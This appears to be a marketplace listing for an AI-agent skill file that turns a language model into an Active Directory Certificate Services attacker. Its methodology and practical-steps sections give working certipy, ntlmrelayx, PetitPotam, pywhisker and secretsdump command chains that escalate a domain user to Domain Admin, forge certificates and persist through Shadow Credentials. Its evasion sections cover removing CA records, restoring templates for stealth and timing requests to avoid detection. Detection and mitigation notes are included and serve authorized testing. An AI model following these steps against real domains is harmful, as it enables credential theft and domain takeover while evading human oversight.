Ad Cs Abuse logo

Ad Cs Abuse

Community
brucesongs
ad-cs-abuse

Active Directory Certificate Services (AD CS) abuse — ESC1-ESC15 attack patterns, PKINIT, PetitPotam to AD CS to Domain Admin chains, CVE-2022-26923 (Certifried), Shadow Credentials, Golden Certificate, certificate template ACL abuse, NTLM relay to web enrollment.

Overview

Publisherbrucesongs
Repositorykali-claw
Skill namead-cs-abuse
Stars
70
Forks
18
Bundled files
9
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • 9 bundled files

    Scripts, templates, and references the model can read while it works. Files are read-only and never executed.

  • Open source

    Published by brucesongs on GitHub. Read the source before you install it.

Installation

Install the Ad Cs Abuse AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/brucesongs/kali-claw.git /tmp/kali-claw
mkdir -p .claude/skills
cp -r /tmp/kali-claw/skills/ad-cs-abuse .claude/skills/ad-cs-abuse
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Ad Cs Abuse in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Ad Cs Abuse on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Ad Cs Abuse is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

Skill: Active Directory Certificate Services (AD CS) Abuse

Supplementary Files:

  • payloads.md -- Payload collection organized by ESC1-ESC15 patterns plus PetitPotam relay, Certifried, Shadow Credentials, Golden Certificate, and PKINIT abuse (60+ code blocks, 2,000+ lines)
  • test-cases.md -- Structured test case templates (12 cases TC-AC-001 through TC-AC-012 covering full AD CS attack surface)
  • guides/ad-cs-abuse-playbook.md -- Comprehensive playbook with architecture refresher, ESC pattern matrix, real-world incidents, lab setup, and defensive guidance

Summary

AD CS abuse skill domain covering enterprise PKI compromise. Active Directory Certificate Services is Microsoft's PKI implementation and is deployed in approximately 90% of enterprise Windows environments. When misconfigured, AD CS becomes one of the most reliable paths from any domain user to Domain Admin or Enterprise Admin, often without touching the DC's LDAP/DRSUAPI interfaces that high-maturity defenders monitor for DCSync and similar attacks.

Domain: enterprise-cloud (AD CS / PKI)

MITRE ATT&CK: T1552-Unsecured Credentials, T1606-Forged Web Credentials, T1550-Use Alternate Authentication Material

Differentiation from ad-ldap-attack

This skill is deliberately scoped to PKI and certificate-specific abuse. The ad-ldap-attack skill covers general Active Directory attacks (reconnaissance, LDAP enumeration, Kerberos attacks like AS-REP Roasting and Kerberoasting, Pass-the-Hash, DCSync, Golden/Silver Tickets, lateral movement via SMB/WMI). This skill does not duplicate that material.

Topicad-ldap-attackad-cs-abuse (this skill)
ReconnaissanceNetBIOS, DNS, SMB, LDAP enumerationCA discovery, template ACL audit, PKI health
KerberosAS-REP, Kerberoasting, Golden/Silver TicketPKINIT (RFC 4556) — cert-to-TGT
CredentialsNTLM hash, password, krbtgtX.509 certs, key material, msDS-KeyCredentialLink
Lateral MovementPtH, PtT, WMI, SMBCert-based Schannel, PKINIT auth
Domain AdminDCSync via DRSUAPIESC1-ESC15 via certificate enrollment
Relay TargetsSMB, LDAPHTTP (Web Enrollment), ICPR (RPC)
Post-ExploitationGPO, delegationShadow Credentials, Golden Certificate

When the engagement involves the strings pKI-Certificate-Template, msPKI-, ENROLLEE_SUPPLIES_SUBJECT, EDITF_ATTRIBUTESUBJECTALTSSUBJECT2, certsrv, certenroll, KeyCredentialLink, or PKINIT, route through this skill rather than ad-ldap-attack. If both paths are in scope, chain this skill first (PKI abuse) and use harvested cert material with ad-ldap-attack techniques for broader domain dominance.

Description

Active Directory Certificate Services transforms a Windows domain into a PKI-aware authentication realm. An enterprise CA published to the Configuration naming context can issue certificates that authenticate as any principal in the forest — including the krbtgt account, Domain Admins, and the DC machine accounts themselves — provided the requester can enroll against a template that grants them that power. The 2021 SpecterOps whitepaper "Certified Pre-Owned" catalogued fifteen classes of misconfiguration (ESC1 through ESC15) that turn a default AD CS deployment into a privilege-escalation engine. Combined with PetitPotam (CVE-2021-36942) NTLM relay coercion, an unauthenticated attacker can pivot from a single network foothold to Enterprise Admin with as few as three packets plus a forged TGT.

The attack chain typically begins with PKI enumeration via Certipy or Certify, identifying vulnerable certificate templates through their msPKI-Certificate-Name-Flag, msPKI-Certificate-Policy, Extended Key Usage (EKU), and ACL attributes. Templates flagged with ENROLLEE_SUPPLIES_SUBJECT (ESC1), missing or AnyPurpose EKUs (ESC2/ESC3), weak ACLs (ESC4/ESC5/ESC7), or CA-level EDITF_ATTRIBUTESUBJECTALTSSUBJECT2 (ESC6) become the enrollment target. The attacker requests a certificate that authenticates as administrator@domain or a DC, then exchanges that certificate for a TGT via PKINIT, and concludes by extracting credentials from the impersonated principal.

This skill emphasises realistic Kali Linux tooling: Certipy (the ly4k Python fork, current standard), Certify and PSPKIAudit from GhostPack, ADCSPwn for relay automation, ntlmrelayx (Impacket) with --adcs for the HTTP-relay path, PetitPotam and Coercer for coercion, Rubeus/Kekeo for PKINIT auth on Windows footholds, Whisker/pywhisker for Shadow Credentials, and OpenSSL with certutil for X.509 parsing and verification. Each pattern includes the related KB number (e.g. KB5005413 for ESC9/ESC10), the CVE (CVE-2021-36942 for PetitPotam, CVE-2022-26923 for Certifried), and the detection telemetry defenders should expect (Event IDs 4886, 4887, 48865, 4768 with certificate pre-auth).

Use Cases

  1. AD CS Security Assessment -- During an authorized internal engagement, enumerate every published certificate template, audit ACLs against BloodHound-derived group membership, and demonstrate ESC1-ESC15 impact through certificate enrollment to a privileged target.
  2. PetitPotam to Domain Admin chain -- From an unauthenticated network position, coerce DC authentication to a relay listener, relay NTLM to AD CS Web Enrollment, obtain a DC certificate, PKINIT to a TGT, and dump domain credentials via PKINIT TGT to DCSync-class tooling.
  3. Certifried (CVE-2022-26923) Exploitation -- On patched-but-unhardened DCs, leverage the machine-account / DNS-host-name mismatch to obtain a certificate that authenticates as any domain-joined machine, including DCs, bypassing the post-KB5005413 SubjectSid hardening.
  4. Shadow Credentials Persistence -- After compromising a single user with WriteAccountRestrictions or equivalent ACL on a target, write a msDS-KeyCredentialLink value via Whisker/pywhisker and persist cert-based access that survives password resets.
  5. Golden Certificate Forgery -- After extracting the CA private key (from the CA's *.pfx export, DPAPI-protected machine key, or certsrv database), forge arbitrary certificates offline for any principal, mirroring Golden Ticket semantics for PKI-backed authentication.
  6. PKI Hardening Review (Defensive Engagement) -- Audit an enterprise CA deployment for the full ESC1-ESC15 matrix, validate Web Enrollment Kerberos enforcement, recommend HSM-backed CA keys, and produce a remediation matrix mapping each finding to its Microsoft documentation reference.

Core Tools

ToolCategoryPurpose
Certipy (ly4k fork)Enumeration + AbuseModern Python AD CS attack suite — certipy find, certipy req, certipy auth, certipy ca, certipy account, certipy template
Certify (GhostPack / HarmJ0y)Enumeration + AbuseC# AD CS enumeration and abuse — Certify.exe find /vulnerable, Certify.exe request, runs in-memory via Cobalt Strike execute-assembly
PSPKIAudit / PSPKI moduleEnumerationPowerShell module — Get-CATemplate, Invoke-AADCSPwn wrappers, ACL audit
ADCSPwn (bsbedo)Relay AutomationEnd-to-end ESC8 automation — coercer + relay + cert request + PKINIT in one tool
ntlmrelayx (Impacket)NTLM RelayImpacket relay listener with --adcs and --template flags for ESC8 / ESC11
PetitPotam (CVE-2021-36942 PoC)Authentication CoercionAnonymous LSARPC coercion via MS-EFSRPC EfsRpcOpenFileRaw — forces DC$ to authenticate to attacker
CoercerAuthentication CoercionMulti-method coercer — sweeps MS-EFSRPC, MS-RPRN, MS-DFSNM, MS-EVEN for any path that triggers machine auth
Rubeus (GhostPack)PKINIT / KerberosWindows Kerberos attack toolkit — Rubeus asktgt /certificate:, Rubeus asktgs, Rubeus dump, Rubeus tgtdeleg
Kekeo (GentilKiwi)PKINIT / Golden CertMimikatz sibling — tgt::ask /pfx:, kerberos::ptt, full PKINIT client implementation
Whisker (Elad Shamir)Shadow CredentialsC# tool to abuse msDS-KeyCredentialLinkWhisker add /target:, Whisker list, Whisker remove
pywhisker (ShutdownRepo)Shadow CredentialsPython port of Whisker — same operations, runs from Kali without Windows foothold
X509 Cert Examiner / OpenSSLX.509 ParsingDecode ASN.1 DER cert structures — openssl x509 -in cert.pem -text -noout, openssl pkcs12 -info, verify EKU/SAN/issuer chains
certutil / pkiview.msc / Microsoft PKI HealthNative InspectionWindows-native CA inspection — certutil -template, certutil -catemplates, pkiview.msc for CA health and AIA/CDP validation

Methodology

Phase 1: PKI Discovery and CA Mapping

Identify Enterprise CAs, Standalone CAs, Web Enrollment endpoints, and enrollment services via LDAP, RPC, and HTTP reconnaissance.

  1. LDAP query the Configuration partition for pKIEnrollmentService objects to locate CAs and their dNSHostName, certificate templates (certificateTemplates), and CA certificate blobs
  2. Identify Web Enrollment endpoints by probing http://<ca>/certsrv/ and inspecting the Default.aspx enrollment UI
  3. Confirm CA type (Enterprise vs Standalone) by querying the configurationNamingContext for CA objects and reading flags and CA Name
  4. Map CA trust chains via pkiview.msc or openssl verify against the NTAuthStore and Root CA store

Phase 2: Template Enumeration and ESC Classification

Pull every published template and classify against the ESC1-ESC15 matrix by inspecting flags, EKUs, issuance requirements, and ACLs.

  1. Run certipy find / Certify find against the domain to extract template metadata and ACLs
  2. Filter for templates where msPKI-Certificate-Name-Flag includes CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT (0x1) — ESC1 candidates
  3. Inspect pKIExtendedKeyUsage for AnyPurpose, no EKU, PKINIT KDC, or Client Authentication — ESC2/ESC3/ESC13 candidates
  4. Resolve ACLs and flag templates where a principal the attacker controls holds WriteOwner, WriteDacl, WriteProperty, or GenericAll — ESC4 candidates
  5. Inspect CA-level flags (EDITF_ATTRIBUTESUBJECTALTSSUBJECT2, EDITF_DISABLEEXTENSIONLIST) — ESC6 candidates
  6. Inspect CA ACLs for ManageCA / ManageCertificates held by non-admins — ESC5/ESC7 candidates

Phase 3: Certificate Request and Privilege Escalation

Enroll against a classified-vulnerable template to obtain a certificate that authenticates as a privileged principal.

  1. Build enrollment request via certipy req -ca '<CA-Name>' -template '<Template>' -upn 'administrator@domain' -dns 'dc01.domain'
  2. For ESC1, supply -san with the target UPN; for ESC6, supply -san even on standard templates because the CA flag honours it
  3. For ESC4/ESC5/ESC7, first modify the template or CA with certipy template -save-old / certipy ca to add attacker-controlled flags, then enroll
  4. Verify the issued cert decodes with openssl x509 -text and that the SAN, EKU, and subject match the impersonation target

Phase 4: PKINIT Authentication to TGT

Exchange the issued certificate for a Kerberos TGT via PKINIT (RFC 4556), then use the TGT for standard Kerberos attacks.

  1. Run certipy auth -pfx admin.pfx -dc-ip <DC> to obtain a .ccache TGT for the impersonated principal
  2. On Windows footholds, run Rubeus asktgt /user:administrator /certificate:admin.pfx /password:... /domain:... /dc:... /ptt
  3. Validate the resulting TGT contains the PA-PK-AS-REP pre-auth type (16) via klist or Decode-Ticket
  4. Convert the TGT to a usable form (export KRB5CCNAME=admin.ccache) for Impacket tools

Phase 5: Credential Harvesting and Persistence

Leverage the elevated TGT for domain dominance and establish persistent PKI-based access.

  1. Run secretsdump.py -k -no-pass administrator@dc01.domain to dump NTDS via the PKINIT-derived TGT
  2. Establish Shadow Credentials persistence on high-value targets via pywhisker add --target "dc01$"
  3. Forge a Golden Certificate if the CA private key is recoverable — certipy forge -ca-pfx <ca-cert> -upn administrator -subject 'CN=Administrator,CN=Users,DC=...'
  4. Cover tracks by removing enrollment records from the CA database where possible and timing attacks outside the CA audit window

Practical Steps

Step 1: Discover Enterprise CAs via LDAP

bash
# Locate all Enterprise CAs in the Configuration partition
ldapsearch -x -H ldap://dc01.corp.local -D "CORP\\svc_ldap" -w 'Password123!' \
  -b "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local" \
  "(objectclass=pKICertificateTemplate)" cn displayName

# Locate the CA enrollment endpoints
ldapsearch -x -H ldap://dc01.corp.local -D "CORP\\svc_ldap" -w 'Password123!' \
  -b "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local" \
  "(objectclass=pKIEnrollmentService)" cn dNSHostName certificateTemplates

# Probe Web Enrollment endpoint
curl -sk http://ca01.corp.local/certsrv/ | head -20

Step 2: Run Certipy Enumeration

bash
# Install / upgrade Certipy (ly4k fork)
python3 -m pip install --upgrade certipy

# Vulnerable template scan with BloodHound-style output
certipy find -u 'corp\svc_ldap' -p 'Password123!' -dc-ip 10.10.0.1 -vulnerable

# Text + JSON output for offline analysis
certipy find -u 'corp\svc_ldap' -p 'Password123!' -dc-ip 10.10.0.1 \
  -old-bloodhound -text -json

# Targeted lookup for a specific template
certipy find -u 'corp\svc_ldap' -p 'Password123!' -dc-ip 10.10.0.1 \
  -enabled

Step 3: ESC1 -- SAN Abuse with ENROLLEE_SUPPLIES_SUBJECT

bash
# Identify ESC1 templates (ENROLLEE_SUPPLIES_SUBJECT = 0x1)
certipy find -u 'corp\svc_ldap' -p 'Password123!' -dc-ip 10.10.0.1 \
  -vulnerable | grep -A5 ESC1

# Request a cert authenticating as administrator via SAN
certipy req -u 'corp\svc_ldap' -p 'Password123!' -dc-ip 10.10.0.1 \
  -ca 'CORP-CA01-CA' -template 'VulnTemplate' \
  -san 'administrator@corp.local'

# Authenticate with the resulting PFX to obtain a TGT
certipy auth -pfx administrator.pfx -dc-ip 10.10.0.1

Step 4: ESC8 -- PetitPotam to AD CS Relay Chain

bash
# Terminal 1: start ntlmrelayx targeting AD CS Web Enrollment
ntlmrelayx.py -t http://ca01.corp.local/certsrv/certfnsh.asp -smb2support \
  --adcs --template 'DomainController'

# Terminal 2: coerce the DC to authenticate to the relay
python3 PetitPotam.py -u '' -p '' -d corp.local \
  10.10.0.100 10.10.0.1     # attacker_IP DC_IP

# Terminal 3: with the relayed base64 PFX, PKINIT to a TGT
certipy auth -pfx <base64_pfx> -dc-ip 10.10.0.1 -ns 10.10.0.1 -dns corp.local

# Use the TGT for secretsdump
KRB5CCNAME=dc01.ccache impacket-secretsdump -k -no-pass dc01.corp.local

Step 5: ESC4 -- Template ACL Modification

bash
# Save the current template state, then make it ESC1-equivalent
certipy template -u 'corp\svc_ldap' -p 'Password123!' -dc-ip 10.10.0.1 \
  -template 'WritableTemplate' -save-old

# Now request against the modified template (it now has ENROLLEE_SUPPLIES_SUBJECT)
certipy req -u 'corp\svc_ldap' -p 'Password123!' -dc-ip 10.10.0.1 \
  -ca 'CORP-CA01-CA' -template 'WritableTemplate' \
  -san 'administrator@corp.local'

# Restore the original template state for stealth
certipy template -u 'corp\svc_ldap' -p 'Password123!' -dc-ip 10.10.0.1 \
  -template 'WritableTemplate' -configuration WritableTemplate.json

Step 6: Shadow Credentials Persistence

bash
# Write a KeyCredentialLink to a target via pywhisker
pywhisker.py -d corp.local -u 'svc_ldap' -p 'Password123!' \
  --target 'DC01$' --action 'add'

# Use the resulting PFX to PKINIT as the DC machine account
certipy auth -pfx dc01.pfx -dc-ip 10.10.0.1

# List existing KeyCredentialLinks (recon)
pywhisker.py -d corp.local -u 'svc_ldap' -p 'Password123!' \
  --target 'Administrator' --action 'list'

# Remove the KeyCredentialLink to cover tracks
pywhisker.py -d corp.local -u 'svc_ldap' -p 'Password123!' \
  --target 'DC01$' --action 'remove' --device-id <KeyId>

Defense Perspective

Detecting AD CS Abuse

  • Template enumeration -- Monitor Event ID 4886 (Certificate Services received a certificate request) and 4887 (Certificate Services approved a certificate request) for unusual requestors or templates. High-volume enumeration will trigger 4662 (directory service access) on the Configuration partition.
  • ESC1 requests -- Audit issued certificates (CA database Event 4886/4887) for SAN values that do not match the requester's sAMAccountName or UPN. The CA log itself records the requested subject and SAN.
  • ESC8 relay chain -- The PetitPotam coercion appears as Event ID 4624 (anonymous logon type 3) from the DC's own IP to the attacker followed immediately by Event 4768 (TGT request via PKINIT) on the DC. Web Enrollment shows Event 4886 with a requestor from a different host than typical.
  • PKINIT auth -- Event 4768 (TGT request) with pre-auth type 16 (PA-PK-AS-REP) is rare in non-PKI-heavy environments. Alert on any PKINIT TGT request for privileged accounts unless expected (service accounts with smart cards).
  • Shadow Credentials -- Event 4662 modify on msDS-KeyCredentialLink (attribute ID 5cb47ed8-8b67-4947-b91e-5f6e0bbe2c1a) is a high-signal detection. Microsoft Defender for Identity raises a "Suspicious modification of a KeyCredentialLink" alert.
  • Golden Certificate -- A certificate presented to PKINIT that does not appear in the CA database (Event 4886) is a forgery indicator. Compare PKINIT-presented serial numbers against CA database records.

Mitigations per ESC Pattern

  • ESC1, ESC2, ESC3 -- Remove ENROLLEE_SUPPLIES_SUBJECT from any template with Client Authentication or PKINIT KDC EKU. Restrict enrollment to narrowly-scoped groups. Apply KB5014754 ("patch Tuesday" hardening, May 2022) which adds strong certificate mapping enforcement.
  • ESC4, ESC5, ESC7 -- Audit template and CA ACLs quarterly. Remove GenericAll, WriteDacl, WriteOwner, and WriteProperty from any non-admin principal. ManageCA and ManageCertificates should be restricted to Domain Admins / Enterprise Admins only.
  • ESC6 -- Disable EDITF_ATTRIBUTESUBJECTALTSSUBJECT2 on the CA via certutil -setreg policy\\EditFlags -EDITF_ATTRIBUTESUBJECTALTSSUBJECT2 and restart Certificate Services.
  • ESC8 -- Disable AD CS Web Enrollment entirely (preferred) or enforce Windows Integrated Authentication with Extended Protection for Authentication (Channel Binding Tokens). Deploy EPA on the certsrv IIS application.
  • ESC9, ESC10 -- Apply KB5005413 (August 2021) which enforces subject SID mapping. Move to strong certificate mapping mode (FullEnforce from November 2023) under HKLM\SYSTEM\CurrentControlSet\Services\Kerberos\Parameters\StrongCertificateBindingEnforcement = 2.
  • ESC11 -- Block unauthenticated RPC to the ICPR interface. Enforce RPC sealing on the CA via certutil -setreg CA\\InterfaceFlags +IF_ENFORCEENCRYPTICSPREQUEST.
  • PetitPotam / coercion -- Disable SMB signing bypass (enforce SMB signing on all DCs) and block MS-EFSRPC at the host firewall. The mitigation for CVE-2021-36942 is patch-level upgrade to the August 2021 CU.

Hardening Recommendations

  • Deploy the CA private key on an HSM (Hardware Security Module) so that even CA administrators cannot extract the key. This neutralises Golden Certificate attacks at the root.
  • Use offline Root CA with online Issuing CAs (three-tier hierarchy) so compromise of the Issuing CA does not grant forest-root trust.
  • Enforce strong certificate mapping (KB5014754 Auditing mode -> Full Enforce) so that ESC1 and ESC10 certificates without proper SID mapping fail authentication.
  • Audit template ACLs with PSPKIAudit or Certipy in CI / weekly cadence and alert on any change.
  • Disable Web Enrollment unless explicitly required. Preferably use the native MMC enrollment or modern CES/CEP (Certificate Enrollment Policy / Certificate Enrollment Service) endpoints with Kerberos authentication.
  • Implement lateral movement detection (Microsoft Defender for Identity or equivalent) that alerts on machine-account NTLM authentication from DC to internal hosts (a classic PetitPotam tell).

Key References

  • Certified Pre-Owned -- Will Schroeder (@harmj0y), Lee Christensen (@tifkin_), Matt Creel, SpecterOps, June 17, 2021. The foundational ESC1-ESC8 catalogue.
  • Certified Pre-Owned Abusing Active Directory Certificate Services -- Black Hat USA 2021 training companion paper.
  • PetitPotam -- Gilles Lionel (@topotam77), July 2021. CVE-2021-36942 PoC for anonymous MS-EFSRPC coercion.
  • Certifried (CVE-2022-26923) -- Yair Mizrahi (@yairmx8), Amplify Security, May 2022. Microsoft PKI registration abuse via DNS-host-name mismatch.
  • Shadow Credentials -- Elad Shamir (@elad_shamir), September 2021. msDS-KeyCredentialLink abuse via PKINIT.
  • AD CS attack theory update (ESC9-ESC15) -- Oliver Lyak (@ly4k), Certipy documentation and release notes, 2022-2024.
  • KB5005413 -- Microsoft, August 2021. Strong certificate mapping for ESC9/ESC10 mitigation.
  • KB5014754 -- Microsoft, May 2022. Strong mapping enforcement timeline (Audit -> Full Enforce November 2023).

Tool Installation Reference

bash
# Certipy (ly4k fork) — primary Kali tool
python3 -m pip install --upgrade certipy
# Verify
certipy --version

# pywhisker — Shadow Credentials from Kali
python3 -m pip install --upgrade pywhisker

# PetitPotam — anonymous MS-EFSRPC coercion
git clone https://github.com/topotam/PetitPotam.git
cd PetitPotam && python3 -m pip install -r requirements.txt

# Coercer — multi-method coercion framework
git clone https://github.com/p0dalirius/Coercer.git
cd Coercer && python3 -m pip install -r requirements.txt

# Impacket — ntlmrelayx with --adcs
python3 -m pip install --upgrade impacket
# Verify the AD CS relay flag is present
ntlmrelayx.py --help | grep -A2 adcs

# ADCSPwn — all-in-one ESC8 chain
git clone https://github.com/bats3c/ADCSPwn.git
cd ADCSPwn && python3 -m pip install -r requirements.txt

# OpenSSL — cert parsing (already on Kali)
openssl version

# PSPKIAudit / PSPKI module — requires Windows PowerShell
# Install on a Windows foothold or via dotnet on Kali
# Install-Module -Name PSPKI -Scope CurrentUser

ESC Pattern Quick Decision Matrix

ScenarioPathToolNotes
Authenticated domain user, want to read templatesESC1-ESC7 scancertipy find -vulnerableCheapest path
Template has ENROLLEE_SUPPLIES_SUBJECT + Client Auth EKUESC1certipy req -sanDirect escalation
Template has AnyPurpose or no EKUESC2certipy req then chainOften pairs with ESC1
Template has PKINIT KDC EKU and Domain Computers can enrollESC3 / KDC certcertipy req then impersonate DCHigh impact
You hold WriteDacl on a templateESC4certipy template -save-old then modifyRestore after use
You hold ManageCA on the CAESC7certipy ca to flip flagsSubCA path
CA has EDITF_ATTRIBUTESUBJECTALTSSUBJECT2 flagESC6certipy req -san on any templateGlobal SAN flag
Unauthenticated network positionESC8PetitPotam + ntlmrelayx --adcsDC$ to DA chain
Post-KB5005413, strong mapping in Audit modeESC9 / ESC10SubjectSid / no security extensionOften paired with Certifried
Need persistent backdoorShadow Credentialspywhisker addSurvives password reset
Have CA private key (PFX)Golden Certificatecertipy forgeForgery offline
CA patched (post-Aug 2022) but machine cert path openCVE-2022-26923 Certifriedcertipy req with machine DNS attrBypasses SID binding

Detection Methods

ADCS Specific Event IDs

  • Event ID 4886: Certificate Services received a certificate request.
  • Event ID 4887: Certificate Services approved a certificate request; maps request to issued serial.
  • Event ID 4885: Certificate Services received a certificate revocation request.
  • Event ID 5136: Directory service object modified (template change = ESC4/ESC5/ESC7).
  • Event ID 4662: KeyCredentialLink attribute write (Shadow Credentials).
  • Event ID 4768 (pre-auth type 16): PKINIT TGT request via certificate authentication.

Behavioral Indicators

  • ESC1 exploitation: User requests certificate for template with ENROLLEE_SUPPLIES_SUBJECT flag using different user SAN; correlate 4886/4887 requests.
  • ESC4/5/7 modification: Template ACL/flag changes followed by enrollment; spike in 5136 events.
  • ESC8 NTLM relay: IIS logs at CA's certsrv virtual directory showing NTLM auth (vs expected Kerberos).
  • PKINIT anomalies: Multiple TGT requests with pre-auth type 16 from same user; rare in mature environments.

SIEM Detection Rules

  • Splunk SPL: index=ad sourcetype=XmlWinEventLog:Security EventCode=4887 | stats count by TemplateName by RequesterName
  • Sigma rule: sigma/rules/windows/ad_cs_abuse.yml
  • Microsoft Defender for Identity: Native alerts for Shadow Credentials, ESC1, ESC8 patterns.
  • Certipy audit mode: Run certipy find -vulnerable against your own CA; map results to detection rules.

Defense Evasion Techniques

See also: ## Anti-Forensics and OPSEC Considerations above for detailed OPSEC notes per ESC technique.

Template Modification Stealth

  • Save and restore: Use certipy template -save-old to capture original state, restore after enrollment (Event 5136 spike avoided).
  • Single-action edits: Batch template changes into a single modification; multiple 5136 events over short window is suspicious.
  • Reuse existing vulnerable templates: Prefer ESC1 templates over ESC4 modifications (no modification = no 5136 events).
  • Time-shift: Make modifications during scheduled change windows (legitimate-looking).

PKINIT Stealth

  • Single TGT per engagement: Avoid repeated PKINIT TGT requests; reuse one TGT via pass-the-ticket.
  • Distribute across accounts: Use multiple compromised accounts rather than one for PKINIT.
  • Off-hours requests: Make PKINIT requests during peak business hours (rare-events blend in normal noise).

ESC8 NTLM Relay Stealth

  • Use existing HTTP endpoints: Relay to legitimate IIS apps rather than certsrv directly.
  • Avoid auth rate limits: Pace relay attempts; rapid NTLM auths from one source is suspicious.
  • Use PrinterBug / PetitPotam: Trigger NTLM from legitimate services (lsass, spoolsv) rather than attacker-controlled binaries.

Anti-Forensics and OPSEC Considerations

  • CA database records persist -- Every issued certificate is recorded in the CA database (certsrv.edb) and viewable via certutil -view. Backdating, deleting, or manipulating CA database records requires CA Database Administrator (ManageCA) and is itself a high-signal alert.
  • Event IDs 4886 / 4887 -- These Certificate Services request / issued events record the requester's identity, the template used, and the resulting serial number. Map these to your engagement window.
  • PKINIT TGT events -- Event 4768 with pre-auth type 16 is rare; defenders who profile PKINIT usage will see the spike. Stagger TGT requests and prefer long-lived TGTs obtained once per engagement.
  • Template modification -- ESC4 / ESC5 / ESC7 require template or CA modifications. Use certipy template -save-old to capture the original state and restore after the request. Modification events are Event 5136 (directory service object modified) and are audited by default.
  • Web Enrollment logs -- ESC8 leaves IIS logs at the CA's certsrv virtual directory. These are stored in %SystemRoot%\System32\LogFiles\W3SVC1\ and are often not aggressively rotated. Time-box engagements.
  • KeyCredentialLink writes -- Shadow Credentials writes generate Event 4662 with the KeyCredentialLink attribute GUID. Microsoft Defender for Identity raises a built-in alert on this pattern; assume any Shadow Credentials write will trigger an alert in mature environments.

Scope Boundaries

This skill does not cover:

  • General AD reconnaissance, LDAP enumeration, Kerberos (AS-REP / Kerberoasting / PtH / DCSync) -- see ad-ldap-attack
  • Azure AD / Entra ID certificate-based authentication -- see cloud-identity-attack
  • Smart card / TPM-based client authentication hardware -- out of scope for offensive tooling
  • TLS server certificate abuse (IIS / Exchange / AD FS) -- see cms-framework-attack and api-security
  • Code signing certificate abuse for malware -- see av-edr-evasion and payload-generation

If the engagement crosses into any of these, chain the relevant skill in sequence.

Bundled files

The model reads these on demand while the skill is loaded. They are exposed as readable files and are never executed.

Frequently asked questions

What does the Ad Cs Abuse AI skill do?

Active Directory Certificate Services (AD CS) abuse — ESC1-ESC15 attack patterns, PKINIT, PetitPotam to AD CS to Domain Admin chains, CVE-2022-26923 (Certifried), Shadow Credentials, Golden Certificate, certificate template ACL abuse, NTLM relay to web enrollment.

Why use Ad Cs Abuse on TypingMind?

Because you install it once and use it with any model. Ad Cs Abuse is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Ad Cs Abuse in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/brucesongs/kali-claw/tree/main/skills/ad-cs-abuse. TypingMind reads its SKILL.md and bundles its files and installs it as a skill you can enable per chat.

Which AI models can use Ad Cs Abuse?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Ad Cs Abuse?

As many as you like. As long as a model supports skills, you can use Ad Cs Abuse with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Ad Cs Abuse AI skill free?

Yes. It is published on GitHub by brucesongs under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇